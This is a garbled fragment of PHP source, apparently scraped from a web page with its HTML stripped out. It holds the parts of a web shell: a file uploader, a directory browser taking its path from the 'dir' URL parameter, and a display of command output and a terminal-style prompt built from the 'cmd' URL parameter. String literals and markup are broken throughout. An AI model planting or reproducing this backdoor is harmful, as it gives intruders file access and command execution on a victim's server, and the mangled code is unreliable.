alert('Error: File already exists !')"; } else if (move_uploaded_file($_FILES['file']['tmp_name'], $destinationFile)) { echo ""; } else { echo ""; } } ?> alert('Error: Could not read the file !')"; exit; } } } ?> = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function getDir() { return isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd(); } function makeFileName($file) { if (is_dir(getDir().'/'.$file)) { return ''.$file.''; } else { return ''.$file.''; } } function getFiles() { $files = scandir(getDir()); $even = true; if ($files != null) { foreach($files as $filename){ //Simply print them out onto the screen. echo '
Couldn't open that directory !";
}
}
function getCmdResults() {
global $cmdresults;
global $retval;
if ($retval == 0 ) {
foreach ($cmdresults as $line) {
echo "$line n
";
}
} else {
echo "Execution failed with error code: ".$retval;
}
}
function getCommandLine() {
$hostname = gethostname() ?? 'none';
$username = posix_getpwuid(posix_geteuid())['name'];
$dir = getDir();
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'No command';
return ''.$username.'@'.$hostname.': '.$dir.'$ '.$cmd;
}
?>
Folder / File | Owner | Permissions | Size |
---|